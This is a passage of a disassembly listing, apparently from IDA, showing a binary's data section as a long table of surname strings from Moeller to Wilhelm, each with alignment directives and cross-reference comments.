.nsp0:00445FA0o align 4 aMoeller db 'Moeller',0 ; DATA XREF: .nsp0:00445FA4o aMohr db 'Mohr',0 ; DATA XREF: .nsp0:00445FA8o align 4 aMoiamedi db 'Moiamedi',0 ; DATA XREF: .nsp0:00445FACo align 4 aMonque db 'Monque',0 ; DATA XREF: .nsp0:00445FB0o align 4 aMontilio db 'Montilio',0 ; DATA XREF: .nsp0:00445FB4o align 4 aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: .nsp0:00445FB8o align 4 aMorani db 'Morani',0 ; DATA XREF: .nsp0:00445FBCo align 4 aMoreton db 'Moreton',0 ; DATA XREF: .nsp0:00445FC0o aMorrison db 'Morrison',0 ; DATA XREF: .nsp0:00445FC4o align 10h aMorrow db 'Morrow',0 ; DATA XREF: .nsp0:00445FC8o align 4 aMortimer db 'Mortimer',0 ; DATA XREF: .nsp0:00445FCCo align 4 aMosher db 'Mosher',0 ; DATA XREF: .nsp0:00445FD0o align 4 aMosler db 'Mosler',0 ; DATA XREF: .nsp0:00445FD4o align 4 aMostafavi db 'Mostafavi',0 ; DATA XREF: .nsp0:00445FD8o align 10h aMotooka db 'Motooka',0 ; DATA XREF: .nsp0:00445FDCo aMudarri db 'Mudarri',0 ; DATA XREF: .nsp0:00445FE0o aMuello db 'Muello',0 ; DATA XREF: .nsp0:00445FE4o align 4 aMugnai db 'Mugnai',0 ; DATA XREF: .nsp0:00445FE8o align 10h aMulkern db 'Mulkern',0 ; DATA XREF: .nsp0:00445FECo aMulroy db 'Mulroy',0 ; DATA XREF: .nsp0:00445FF0o align 10h aMumford db 'Mumford',0 ; DATA XREF: .nsp0:00445FF4o aMussachio db 'Mussachio',0 ; DATA XREF: .nsp0:00445FF8o align 4 aNaddeo db 'Naddeo',0 ; DATA XREF: .nsp0:00445FFCo align 4 aNapolitano db 'Napolitano',0 ; DATA XREF: .nsp0:00446000o align 4 aNardi db 'Nardi',0 ; DATA XREF: .nsp0:00446004o align 10h aNardone db 'Nardone',0 ; DATA XREF: .nsp0:00446008o aNaviaux db 'Naviaux',0 ; DATA XREF: .nsp0:0044600Co aNayduch db 'Nayduch',0 ; DATA XREF: .nsp0:00446010o aNelson db 'Nelson',0 ; DATA XREF: .nsp0:00446014o align 10h aNenna db 'Nenna',0 ; DATA XREF: .nsp0:00446018o align 4 aNesci db 'Nesci',0 ; DATA XREF: .nsp0:0044601Co align 10h aNeuman db 'Neuman',0 ; DATA XREF: .nsp0:00446020o align 4 aNewfeld db 'Newfeld',0 ; DATA XREF: .nsp0:00446024o aNewlin db 'Newlin',0 ; DATA XREF: .nsp0:00446028o align 4 aNg db 'Ng',0 ; DATA XREF: .nsp0:0044602Co align 4 aNi_0 db 'Ni',0 ; DATA XREF: .nsp0:00446030o align 10h aNickerson db 'Nickerson',0 ; DATA XREF: .nsp0:00446034o align 4 aNickoloff db 'Nickoloff',0 ; DATA XREF: .nsp0:00446038o align 4 aNisenson db 'Nisenson',0 ; DATA XREF: .nsp0:0044603Co align 4 aNitabach db 'Nitabach',0 ; DATA XREF: .nsp0:00446040o align 10h aNotman db 'Notman',0 ; DATA XREF: .nsp0:00446044o align 4 aNuzum db 'Nuzum',0 ; DATA XREF: .nsp0:00446048o align 10h aOcougne db 'Ocougne',0 ; DATA XREF: .nsp0:0044604Co aOgata db 'Ogata',0 ; DATA XREF: .nsp0:00446050o align 10h aOh db 'Oh',0 ; DATA XREF: .nsp0:00446054o align 4 aOHagan db 'O',27h,'hagan',0 ; DATA XREF: .nsp0:00446058o aOldford db 'Oldford',0 ; DATA XREF: .nsp0:0044605Co aOlsen db 'Olsen',0 ; DATA XREF: .nsp0:00446060o align 4 aOlson db 'Olson',0 ; DATA XREF: .nsp0:00446064o align 4 aOlszewski db 'Olszewski',0 ; DATA XREF: .nsp0:00446068o align 10h aOMalley db 'O',27h,'malley',0 ; DATA XREF: .nsp0:0044606Co align 4 aOman db 'Oman',0 ; DATA XREF: .nsp0:00446070o align 4 aOMeara db 'O',27h,'meara',0 ; DATA XREF: .nsp0:00446074o aOpel db 'Opel',0 ; DATA XREF: .nsp0:00446078o align 4 aOray db 'Oray',0 ; DATA XREF: .nsp0:0044607Co align 4 aOrfield db 'Orfield',0 ; DATA XREF: .nsp0:00446080o aOrsi db 'Orsi',0 ; DATA XREF: .nsp0:00446084o align 4 aOspina db 'Ospina',0 ; DATA XREF: .nsp0:00446088o align 4 aOstrowski db 'Ostrowski',0 ; DATA XREF: .nsp0:0044608Co align 10h aOttaviani db 'Ottaviani',0 ; DATA XREF: .nsp0:00446090o align 4 aOtten db 'Otten',0 ; DATA XREF: .nsp0:00446094o align 4 aOuchida db 'Ouchida',0 ; DATA XREF: .nsp0:00446098o aOvid db 'Ovid',0 ; DATA XREF: .nsp0:0044609Co align 4 aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: .nsp0:004460A0o align 4 aPaine db 'Paine',0 ; DATA XREF: .nsp0:004460A4o align 4 aPalayoor db 'Palayoor',0 ; DATA XREF: .nsp0:004460A8o align 4 aPalepu db 'Palepu',0 ; DATA XREF: .nsp0:004460ACo align 10h aPallara db 'Pallara',0 ; DATA XREF: .nsp0:004460B0o aPalmitesta db 'Palmitesta',0 ; DATA XREF: .nsp0:004460B4o align 4 aPanadero db 'Panadero',0 ; DATA XREF: .nsp0:004460B8o align 10h aPanizzon db 'Panizzon',0 ; DATA XREF: .nsp0:004460BCo align 4 aPantilla db 'Pantilla',0 ; DATA XREF: .nsp0:004460C0o align 4 aPaoletti db 'Paoletti',0 ; DATA XREF: .nsp0:004460C4o align 4 aParmeggiani db 'Parmeggiani',0 ; DATA XREF: .nsp0:004460C8o aParris db 'Parris',0 ; DATA XREF: .nsp0:004460CCo align 4 aPartridge db 'Partridge',0 ; DATA XREF: .nsp0:004460D0o align 4 aPascucci db 'Pascucci',0 ; DATA XREF: .nsp0:004460D4o align 10h aPatefield db 'Patefield',0 ; DATA XREF: .nsp0:004460D8o align 4 aPatrick_0 db 'Patrick',0 ; DATA XREF: .nsp0:004460DCo aPattullo db 'Pattullo',0 ; DATA XREF: .nsp0:004460E0o align 10h aPavetti db 'Pavetti',0 ; DATA XREF: .nsp0:004460E4o aPavlon db 'Pavlon',0 ; DATA XREF: .nsp0:004460E8o align 10h aPawloski db 'Pawloski',0 ; DATA XREF: .nsp0:004460ECo align 4 aPaynter db 'Paynter',0 ; DATA XREF: .nsp0:004460F0o aPeabody db 'Peabody',0 ; DATA XREF: .nsp0:004460F4o aPearlberg db 'Pearlberg',0 ; DATA XREF: .nsp0:004460F8o align 4 aPederson db 'Pederson',0 ; DATA XREF: .nsp0:004460FCo align 4 aPeishel db 'Peishel',0 ; DATA XREF: .nsp0:00446100o aPenny db 'Penny',0 ; DATA XREF: .nsp0:00446104o align 4 aPereira db 'Pereira',0 ; DATA XREF: .nsp0:00446108o aPerko db 'Perko',0 ; DATA XREF: .nsp0:0044610Co align 4 aPerlak db 'Perlak',0 ; DATA XREF: .nsp0:00446110o align 4 aPerlman db 'Perlman',0 ; DATA XREF: .nsp0:00446114o aPerna db 'Perna',0 ; DATA XREF: .nsp0:00446118o align 4 aPerone db 'Perone',0 ; DATA XREF: .nsp0:0044611Co align 4 aPerrimon db 'Perrimon',0 ; DATA XREF: .nsp0:00446120o align 10h aPeters db 'Peters',0 ; DATA XREF: .nsp0:00446124o align 4 aPetruzello db 'Petruzello',0 ; DATA XREF: .nsp0:00446128o align 4 aPettibone db 'Pettibone',0 ; DATA XREF: .nsp0:0044612Co align 10h aPettit db 'Pettit',0 ; DATA XREF: .nsp0:00446130o align 4 aPfister db 'Pfister',0 ; DATA XREF: .nsp0:00446134o aPilbeam db 'Pilbeam',0 ; DATA XREF: .nsp0:00446138o aPinot db 'Pinot',0 ; DATA XREF: .nsp0:0044613Co align 10h aPlancon db 'Plancon',0 ; DATA XREF: .nsp0:00446140o aPlant db 'Plant',0 ; DATA XREF: .nsp0:00446144o align 10h aPlasket db 'Plasket',0 ; DATA XREF: .nsp0:00446148o aPlous db 'Plous',0 ; DATA XREF: .nsp0:0044614Co align 10h aPo db 'Po',0 ; DATA XREF: .nsp0:00446150o align 4 aPocobene db 'Pocobene',0 ; DATA XREF: .nsp0:00446154o align 10h aPoincaire db 'Poincaire',0 ; DATA XREF: .nsp0:00446158o align 4 aPointer db 'Pointer',0 ; DATA XREF: .nsp0:0044615Co aPoirier db 'Poirier',0 ; DATA XREF: .nsp0:00446160o aPolak db 'Polak',0 ; DATA XREF: .nsp0:00446164o align 4 aPolanyi db 'Polanyi',0 ; DATA XREF: .nsp0:00446168o aPolitis db 'Politis',0 ; DATA XREF: .nsp0:0044616Co aPoma db 'Poma',0 ; DATA XREF: .nsp0:00446170o align 4 aPoolman db 'Poolman',0 ; DATA XREF: .nsp0:00446174o aPowers db 'Powers',0 ; DATA XREF: .nsp0:00446178o align 4 aPresper db 'Presper',0 ; DATA XREF: .nsp0:0044617Co aPreucel db 'Preucel',0 ; DATA XREF: .nsp0:00446180o aPrevost db 'Prevost',0 ; DATA XREF: .nsp0:00446184o aPritchard db 'Pritchard',0 ; DATA XREF: .nsp0:00446188o align 10h aPritz db 'Pritz',0 ; DATA XREF: .nsp0:0044618Co align 4 aProietti db 'Proietti',0 ; DATA XREF: .nsp0:00446190o align 4 aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: .nsp0:00446194o align 4 aPuccia db 'Puccia',0 ; DATA XREF: .nsp0:00446198o align 4 aPugh db 'Pugh',0 ; DATA XREF: .nsp0:0044619Co align 4 aPynchon db 'Pynchon',0 ; DATA XREF: .nsp0:004461A0o aQuaday db 'Quaday',0 ; DATA XREF: .nsp0:004461A4o align 4 aQuetin db 'Quetin',0 ; DATA XREF: .nsp0:004461A8o align 4 aRabe db 'Rabe',0 ; DATA XREF: .nsp0:004461ACo align 4 aRabkin db 'Rabkin',0 ; DATA XREF: .nsp0:004461B0o align 4 aRadeke db 'Radeke',0 ; DATA XREF: .nsp0:004461B4o align 4 aRajagopalan db 'Rajagopalan',0 ; DATA XREF: .nsp0:004461B8o aRaney db 'Raney',0 ; DATA XREF: .nsp0:004461BCo align 4 aRangan db 'Rangan',0 ; DATA XREF: .nsp0:004461C0o align 10h aRankin db 'Rankin',0 ; DATA XREF: .nsp0:004461C4o align 4 aRapple db 'Rapple',0 ; DATA XREF: .nsp0:004461C8o align 10h aRayport db 'Rayport',0 ; DATA XREF: .nsp0:004461CCo aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: .nsp0:004461D0o align 4 aReedquist db 'Reedquist',0 ; DATA XREF: .nsp0:004461D4o align 4 aCunningham db 'Cunningham',0 ; DATA XREF: .nsp0:004461D8o align 10h aReinold db 'Reinold',0 ; DATA XREF: .nsp0:004461DCo aRemak db 'Remak',0 ; DATA XREF: .nsp0:004461E0o align 10h aRenick db 'Renick',0 ; DATA XREF: .nsp0:004461E4o align 4 aRepetto db 'Repetto',0 ; DATA XREF: .nsp0:004461E8o aResnik db 'Resnik',0 ; DATA XREF: .nsp0:004461ECo align 4 aRhea db 'Rhea',0 ; DATA XREF: .nsp0:004461F0o align 10h aRichmond db 'Richmond',0 ; DATA XREF: .nsp0:004461F4o align 4 aRielly db 'Rielly',0 ; DATA XREF: .nsp0:004461F8o align 4 aRindos db 'Rindos',0 ; DATA XREF: .nsp0:004461FCo align 4 aRineer db 'Rineer',0 ; DATA XREF: .nsp0:00446200o align 4 aRish db 'Rish',0 ; DATA XREF: .nsp0:00446204o align 4 aRivera db 'Rivera',0 ; DATA XREF: .nsp0:00446208o align 4 aRobinson db 'Robinson',0 ; DATA XREF: .nsp0:0044620Co align 10h aRocha db 'Rocha',0 ; DATA XREF: .nsp0:00446210o align 4 aRoesler db 'Roesler',0 ; DATA XREF: .nsp0:00446214o aRogers db 'Rogers',0 ; DATA XREF: .nsp0:00446218o align 4 aRonen db 'Ronen',0 ; DATA XREF: .nsp0:0044621Co align 10h aRow db 'Row',0 ; DATA XREF: .nsp0:00446220o aRoyal db 'Royal',0 ; DATA XREF: .nsp0:00446224o align 4 aRu db 'Ru',0 ; DATA XREF: .nsp0:00446228o align 10h aRuan db 'Ruan',0 ; DATA XREF: .nsp0:0044622Co align 4 aRuderman db 'Ruderman',0 ; DATA XREF: .nsp0:00446230o align 4 aRuescher db 'Ruescher',0 ; DATA XREF: .nsp0:00446234o align 10h aRush_0 db 'Rush',0 ; DATA XREF: .nsp0:00446238o align 4 aRyu db 'Ryu',0 ; DATA XREF: .nsp0:0044623Co aSabatello db 'Sabatello',0 ; DATA XREF: .nsp0:00446240o align 4 aSadler db 'Sadler',0 ; DATA XREF: .nsp0:00446244o align 10h aSafire db 'Safire',0 ; DATA XREF: .nsp0:00446248o align 4 aSahu db 'Sahu',0 ; DATA XREF: .nsp0:0044624Co align 10h aSali db 'Sali',0 ; DATA XREF: .nsp0:00446250o align 4 aSamson db 'Samson',0 ; DATA XREF: .nsp0:00446254o align 10h aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: .nsp0:00446258o aSanna db 'Sanna',0 ; DATA XREF: .nsp0:0044625Co align 4 aSapers db 'Sapers',0 ; DATA XREF: .nsp0:00446260o align 10h aSarin db 'Sarin',0 ; DATA XREF: .nsp0:00446264o align 4 aSartore db 'Sartore',0 ; DATA XREF: .nsp0:00446268o aSase db 'Sase',0 ; DATA XREF: .nsp0:0044626Co align 4 aSatin db 'Satin',0 ; DATA XREF: .nsp0:00446270o align 10h aSatta db 'Satta',0 ; DATA XREF: .nsp0:00446274o align 4 aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: .nsp0:00446278o align 4 aSawtell db 'Sawtell',0 ; DATA XREF: .nsp0:0044627Co aSayied db 'Sayied',0 ; DATA XREF: .nsp0:00446280o align 4 aScarponi db 'Scarponi',0 ; DATA XREF: .nsp0:00446284o align 4 aScepan db 'Scepan',0 ; DATA XREF: .nsp0:00446288o align 4 aScharf db 'Scharf',0 ; DATA XREF: .nsp0:0044628Co align 4 aScharlemann db 'Scharlemann',0 ; DATA XREF: .nsp0:00446290o aScheiner db 'Scheiner',0 ; DATA XREF: .nsp0:00446294o align 4 aSchiano db 'Schiano',0 ; DATA XREF: .nsp0:00446298o aSchifini db 'Schifini',0 ; DATA XREF: .nsp0:0044629Co align 10h aSchilling db 'Schilling',0 ; DATA XREF: .nsp0:004462A0o align 4 aSchmitt db 'Schmitt',0 ; DATA XREF: .nsp0:004462A4o aSchossberger db 'Schossberger',0 ; DATA XREF: .nsp0:004462A8o align 4 aSchuman db 'Schuman',0 ; DATA XREF: .nsp0:004462ACo aSchutte db 'Schutte',0 ; DATA XREF: .nsp0:004462B0o aSchuyler db 'Schuyler',0 ; DATA XREF: .nsp0:004462B4o align 10h aSchwan db 'Schwan',0 ; DATA XREF: .nsp0:004462B8o align 4 aSchwickrath db 'Schwickrath',0 ; DATA XREF: .nsp0:004462BCo aScovel db 'Scovel',0 ; DATA XREF: .nsp0:004462C0o align 4 aScudder db 'Scudder',0 ; DATA XREF: .nsp0:004462C4o aSeaton db 'Seaton',0 ; DATA XREF: .nsp0:004462C8o align 4 aSeeber db 'Seeber',0 ; DATA XREF: .nsp0:004462CCo align 4 aSegal db 'Segal',0 ; DATA XREF: .nsp0:004462D0o align 4 aSekler db 'Sekler',0 ; DATA XREF: .nsp0:004462D4o align 4 aSelvage db 'Selvage',0 ; DATA XREF: .nsp0:004462D8o aSen db 'Sen',0 ; DATA XREF: .nsp0:004462DCo aSennett db 'Sennett',0 ; DATA XREF: .nsp0:004462E0o aSeterdahl db 'Seterdahl',0 ; DATA XREF: .nsp0:004462E4o align 4 aSexton db 'Sexton',0 ; DATA XREF: .nsp0:004462E8o align 4 aSeyfert db 'Seyfert',0 ; DATA XREF: .nsp0:004462ECo aShaikh db 'Shaikh',0 ; DATA XREF: .nsp0:004462F0o align 4 aShakis db 'Shakis',0 ; DATA XREF: .nsp0:004462F4o align 4 aShankland db 'Shankland',0 ; DATA XREF: .nsp0:004462F8o align 10h aShanley db 'Shanley',0 ; DATA XREF: .nsp0:004462FCo aShar db 'Shar',0 ; DATA XREF: .nsp0:00446300o align 10h aShatrov db 'Shatrov',0 ; DATA XREF: .nsp0:00446304o aShavelson db 'Shavelson',0 ; DATA XREF: .nsp0:00446308o align 4 aShea db 'Shea',0 ; DATA XREF: .nsp0:0044630Co align 4 aSheats db 'Sheats',0 ; DATA XREF: .nsp0:00446310o align 4 aShepherd db 'Shepherd',0 ; DATA XREF: .nsp0:00446314o align 10h aSheppard db 'Sheppard',0 ; DATA XREF: .nsp0:00446318o align 4 aShepstone db 'Shepstone',0 ; DATA XREF: .nsp0:0044631Co align 4 aShesko db 'Shesko',0 ; DATA XREF: .nsp0:00446320o align 10h aShia db 'Shia',0 ; DATA XREF: .nsp0:00446324o align 4 aShibata db 'Shibata',0 ; DATA XREF: .nsp0:00446328o aShimon db 'Shimon',0 ; DATA XREF: .nsp0:0044632Co align 4 aSiesto db 'Siesto',0 ; DATA XREF: .nsp0:00446330o align 10h aSigalot db 'Sigalot',0 ; DATA XREF: .nsp0:00446334o aSigini db 'Sigini',0 ; DATA XREF: .nsp0:00446338o align 10h aSigna db 'Signa',0 ; DATA XREF: .nsp0:0044633Co align 4 aSilverman db 'Silverman',0 ; DATA XREF: .nsp0:00446340o align 4 aSilvetti db 'Silvetti',0 ; DATA XREF: .nsp0:00446344o align 10h aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: .nsp0:00446348o align 4 aSirilli db 'Sirilli',0 ; DATA XREF: .nsp0:0044634Co aSites db 'Sites',0 ; DATA XREF: .nsp0:00446350o align 4 aSkane db 'Skane',0 ; DATA XREF: .nsp0:00446354o align 4 aSkerry db 'Skerry',0 ; DATA XREF: .nsp0:00446358o align 4 aSkoda db 'Skoda',0 ; DATA XREF: .nsp0:0044635Co align 4 aSloan db 'Sloan',0 ; DATA XREF: .nsp0:00446360o align 4 aSlowe db 'Slowe',0 ; DATA XREF: .nsp0:00446364o align 4 aSmilow db 'Smilow',0 ; DATA XREF: .nsp0:00446368o align 4 aSniffen db 'Sniffen',0 ; DATA XREF: .nsp0:0044636Co aSnodgrass db 'Snodgrass',0 ; DATA XREF: .nsp0:00446370o align 10h aSocolow db 'Socolow',0 ; DATA XREF: .nsp0:00446374o aSolon db 'Solon',0 ; DATA XREF: .nsp0:00446378o align 10h aSomers db 'Somers',0 ; DATA XREF: .nsp0:0044637Co align 4 aSommariva db 'Sommariva',0 ; DATA XREF: .nsp0:00446380o align 4 aSorabella db 'Sorabella',0 ; DATA XREF: .nsp0:00446384o align 10h aSorg db 'Sorg',0 ; DATA XREF: .nsp0:00446388o align 4 aSottak db 'Sottak',0 ; DATA XREF: .nsp0:0044638Co align 10h aSoukup db 'Soukup',0 ; DATA XREF: .nsp0:00446390o align 4 aSoule db 'Soule',0 ; DATA XREF: .nsp0:00446394o align 10h aSoultanian db 'Soultanian',0 ; DATA XREF: .nsp0:00446398o align 4 aSpanier db 'Spanier',0 ; DATA XREF: .nsp0:0044639Co aSparrow db 'Sparrow',0 ; DATA XREF: .nsp0:004463A0o aSpaulding db 'Spaulding',0 ; DATA XREF: .nsp0:004463A4o align 4 aSpeizer db 'Speizer',0 ; DATA XREF: .nsp0:004463A8o aSpence db 'Spence',0 ; DATA XREF: .nsp0:004463ACo align 4 aSperber db 'Sperber',0 ; DATA XREF: .nsp0:004463B0o aSpicer db 'Spicer',0 ; DATA XREF: .nsp0:004463B4o align 4 aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: .nsp0:004463B8o align 4 aSpiliotis db 'Spiliotis',0 ; DATA XREF: .nsp0:004463BCo align 4 aSpinrad db 'Spinrad',0 ; DATA XREF: .nsp0:004463C0o aStmartin db 'StMartin',0 ; DATA XREF: .nsp0:004463C4o align 4 aStalvey db 'Stalvey',0 ; DATA XREF: .nsp0:004463C8o aStam db 'Stam',0 ; DATA XREF: .nsp0:004463CCo align 4 aStang db 'Stang',0 ; DATA XREF: .nsp0:004463D0o align 10h aStassinopolus db 'Stassinopolus',0 ; DATA XREF: .nsp0:004463D4o align 10h aStates db 'States',0 ; DATA XREF: .nsp0:004463D8o align 4 aStatlender db 'Statlender',0 ; DATA XREF: .nsp0:004463DCo align 4 aStefani db 'Stefani',0 ; DATA XREF: .nsp0:004463E0o aSteiner db 'Steiner',0 ; DATA XREF: .nsp0:004463E4o aStephanian db 'Stephanian',0 ; DATA XREF: .nsp0:004463E8o align 10h aStepniewska db 'Stepniewska',0 ; DATA XREF: .nsp0:004463ECo aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: .nsp0:004463F0o align 4 aStiepock db 'Stiepock',0 ; DATA XREF: .nsp0:004463F4o align 4 aStillwell db 'Stillwell',0 ; DATA XREF: .nsp0:004463F8o align 4 aStock db 'Stock',0 ; DATA XREF: .nsp0:004463FCo align 4 aStockton db 'Stockton',0 ; DATA XREF: .nsp0:00446400o align 4 aStockwell db 'Stockwell',0 ; DATA XREF: .nsp0:00446404o align 4 aStolzenberg db 'Stolzenberg',0 ; DATA XREF: .nsp0:00446408o aStonich db 'Stonich',0 ; DATA XREF: .nsp0:0044640Co aStorer db 'Storer',0 ; DATA XREF: .nsp0:00446410o align 10h aStott db 'Stott',0 ; DATA XREF: .nsp0:00446414o align 4 aStrange_0 db 'Strange',0 ; DATA XREF: .nsp0:00446418o aStrauch db 'Strauch',0 ; DATA XREF: .nsp0:0044641Co aStreiff db 'Streiff',0 ; DATA XREF: .nsp0:00446420o aStringer db 'Stringer',0 ; DATA XREF: .nsp0:00446424o align 4 aSullivan db 'Sullivan',0 ; DATA XREF: .nsp0:00446428o align 4 aSumner db 'Sumner',0 ; DATA XREF: .nsp0:0044642Co align 10h aSuo db 'Suo',0 ; DATA XREF: .nsp0:00446430o aSurdam db 'Surdam',0 ; DATA XREF: .nsp0:00446434o align 4 aSweeting db 'Sweeting',0 ; DATA XREF: .nsp0:00446438o align 4 aSweetser db 'Sweetser',0 ; DATA XREF: .nsp0:0044643Co align 4 aSwindle db 'Swindle',0 ; DATA XREF: .nsp0:00446440o aTagiuri db 'Tagiuri',0 ; DATA XREF: .nsp0:00446444o aTai db 'Tai',0 ; DATA XREF: .nsp0:00446448o aTalaugon db 'Talaugon',0 ; DATA XREF: .nsp0:0044644Co align 4 aTambiah db 'Tambiah',0 ; DATA XREF: .nsp0:00446450o aTandler db 'Tandler',0 ; DATA XREF: .nsp0:00446454o aTanowitz db 'Tanowitz',0 ; DATA XREF: .nsp0:00446458o align 10h aTatar db 'Tatar',0 ; DATA XREF: .nsp0:0044645Co align 4 aTaveras db 'Taveras',0 ; DATA XREF: .nsp0:00446460o aTawn db 'Tawn',0 ; DATA XREF: .nsp0:00446464o align 4 aTcherepnin db 'Tcherepnin',0 ; DATA XREF: .nsp0:00446468o align 4 aTeague db 'Teague',0 ; DATA XREF: .nsp0:0044646Co align 4 aTemes db 'Temes',0 ; DATA XREF: .nsp0:00446470o align 4 aTemmer db 'Temmer',0 ; DATA XREF: .nsp0:00446474o align 4 aTenney db 'Tenney',0 ; DATA XREF: .nsp0:00446478o align 4 aTerracini db 'Terracini',0 ; DATA XREF: .nsp0:0044647Co align 10h aThan db 'Than',0 ; DATA XREF: .nsp0:00446480o align 4 aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: .nsp0:00446484o align 4 aTheodos db 'Theodos',0 ; DATA XREF: .nsp0:00446488o aThibault db 'Thibault',0 ; DATA XREF: .nsp0:0044648Co align 4 aThisted db 'Thisted',0 ; DATA XREF: .nsp0:00446490o aThomsen db 'Thomsen',0 ; DATA XREF: .nsp0:00446494o aThroop db 'Throop',0 ; DATA XREF: .nsp0:00446498o align 4 aTierney db 'Tierney',0 ; DATA XREF: .nsp0:0044649Co aTill db 'Till',0 ; DATA XREF: .nsp0:004464A0o align 4 aTimmons db 'Timmons',0 ; DATA XREF: .nsp0:004464A4o aTofallis db 'Tofallis',0 ; DATA XREF: .nsp0:004464A8o align 4 aTollestrup db 'Tollestrup',0 ; DATA XREF: .nsp0:004464ACo align 4 aTolls db 'Tolls',0 ; DATA XREF: .nsp0:004464B0o align 4 aTolman db 'Tolman',0 ; DATA XREF: .nsp0:004464B4o align 4 aTomford db 'Tomford',0 ; DATA XREF: .nsp0:004464B8o aToomer db 'Toomer',0 ; DATA XREF: .nsp0:004464BCo align 4 aTopulos db 'Topulos',0 ; DATA XREF: .nsp0:004464C0o aTorresi db 'Torresi',0 ; DATA XREF: .nsp0:004464C4o aTorske db 'Torske',0 ; DATA XREF: .nsp0:004464C8o align 4 aTowler db 'Towler',0 ; DATA XREF: .nsp0:004464CCo align 4 aToye db 'Toye',0 ; DATA XREF: .nsp0:004464D0o align 4 aTraebert db 'Traebert',0 ; DATA XREF: .nsp0:004464D4o align 4 aTrenga db 'Trenga',0 ; DATA XREF: .nsp0:004464D8o align 10h aTrewin db 'Trewin',0 ; DATA XREF: .nsp0:004464DCo align 4 aTringali db 'Tringali',0 ; DATA XREF: .nsp0:004464E0o align 4 aTroiani db 'Troiani',0 ; DATA XREF: .nsp0:004464E4o aTroy db 'Troy',0 ; DATA XREF: .nsp0:004464E8o align 4 aTruss db 'Truss',0 ; DATA XREF: .nsp0:004464ECo align 4 aTsiatis db 'Tsiatis',0 ; DATA XREF: .nsp0:004464F0o aTsomides db 'Tsomides',0 ; DATA XREF: .nsp0:004464F4o align 10h aTsukurov db 'Tsukurov',0 ; DATA XREF: .nsp0:004464F8o align 4 aTuck db 'Tuck',0 ; DATA XREF: .nsp0:004464FCo align 4 aTudge db 'Tudge',0 ; DATA XREF: .nsp0:00446500o align 4 aTukan db 'Tukan',0 ; DATA XREF: .nsp0:00446504o align 4 aTurano db 'Turano',0 ; DATA XREF: .nsp0:00446508o align 4 aTurek db 'Turek',0 ; DATA XREF: .nsp0:0044650Co align 4 aTuttle_0 db 'Tuttle',0 ; DATA XREF: .nsp0:00446510o align 4 aTwells db 'Twells',0 ; DATA XREF: .nsp0:00446514o align 4 aTzamarias db 'Tzamarias',0 ; DATA XREF: .nsp0:00446518o align 10h aUllman db 'Ullman',0 ; DATA XREF: .nsp0:0044651Co align 4 aUntermeyer db 'Untermeyer',0 ; DATA XREF: .nsp0:00446520o align 4 aUpsdell db 'Upsdell',0 ; DATA XREF: .nsp0:00446524o aUrban db 'Urban',0 ; DATA XREF: .nsp0:00446528o align 4 aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: .nsp0:0044652Co align 4 aUsdan db 'Usdan',0 ; DATA XREF: .nsp0:00446530o align 4 aUzuner db 'Uzuner',0 ; DATA XREF: .nsp0:00446534o align 4 aVacca db 'Vacca',0 ; DATA XREF: .nsp0:00446538o align 4 aWaite db 'Waite',0 ; DATA XREF: .nsp0:0044653Co align 4 aValberg db 'Valberg',0 ; DATA XREF: .nsp0:00446540o aValencia db 'Valencia',0 ; DATA XREF: .nsp0:00446544o align 4 aWales db 'Wales',0 ; DATA XREF: .nsp0:00446548o align 10h aWallenberg db 'Wallenberg',0 ; DATA XREF: .nsp0:0044654Co align 4 aWalter db 'Walter',0 ; DATA XREF: .nsp0:00446550o align 4 aVanallen db 'vanAllen',0 ; DATA XREF: .nsp0:00446554o align 10h aVanzwet db 'VanZwet',0 ; DATA XREF: .nsp0:00446558o aVandenberg db 'Vandenberg',0 ; DATA XREF: .nsp0:0044655Co align 4 aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: .nsp0:00446560o align 4 aWarshafsky db 'Warshafsky',0 ; DATA XREF: .nsp0:00446564o align 10h aWasowska db 'Wasowska',0 ; DATA XREF: .nsp0:00446568o align 4 aVasquez db 'Vasquez',0 ; DATA XREF: .nsp0:0044656Co aWaugh db 'Waugh',0 ; DATA XREF: .nsp0:00446570o align 4 aWeighart db 'Weighart',0 ; DATA XREF: .nsp0:00446574o align 4 aWeingarten db 'Weingarten',0 ; DATA XREF: .nsp0:00446578o align 4 aWeinhaus db 'Weinhaus',0 ; DATA XREF: .nsp0:0044657Co align 10h aWeissbourd db 'Weissbourd',0 ; DATA XREF: .nsp0:00446580o align 4 aWeissman db 'Weissman',0 ; DATA XREF: .nsp0:00446584o align 4 aVelasquez db 'Velasquez',0 ; DATA XREF: .nsp0:00446588o align 4 aWelles db 'Welles',0 ; DATA XREF: .nsp0:0044658Co align 4 aWelsh db 'Welsh',0 ; DATA XREF: .nsp0:00446590o align 4 aWengret db 'Wengret',0 ; DATA XREF: .nsp0:00446594o aVenne db 'Venne',0 ; DATA XREF: .nsp0:00446598o align 4 aVerghese db 'Verghese',0 ; DATA XREF: .nsp0:0044659Co align 10h aWescott db 'Wescott',0 ; DATA XREF: .nsp0:004465A0o aWetzel db 'Wetzel',0 ; DATA XREF: .nsp0:004465A4o align 10h aWhately db 'Whately',0 ; DATA XREF: .nsp0:004465A8o aWhilton db 'Whilton',0 ; DATA XREF: .nsp0:004465ACo aWhite_0 db 'White',0 ; DATA XREF: .nsp0:004465B0o align 4 aWhitla db 'Whitla',0 ; DATA XREF: .nsp0:004465B4o align 10h aWhittaker db 'Whittaker',0 ; DATA XREF: .nsp0:004465B8o align 4 aViana db 'Viana',0 ; DATA XREF: .nsp0:004465BCo align 4 aViano db 'Viano',0 ; DATA XREF: .nsp0:004465C0o align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: .nsp0:004465C4o aWiener db 'Wiener',0 ; DATA XREF: .nsp0:004465C8o align 10h aViens db 'Viens',0 ; DATA XREF: .nsp0:004465CCo align 4 aVignola db 'Vignola',0 ; DATA XREF: .nsp0:004465D0o aWilder db 'Wilder',0 ; DATA XREF: .nsp0:004465D4o align 4 aWilhelm db 'Wilhelm',0 ; DATA XREF: .nsp0:004465D8o 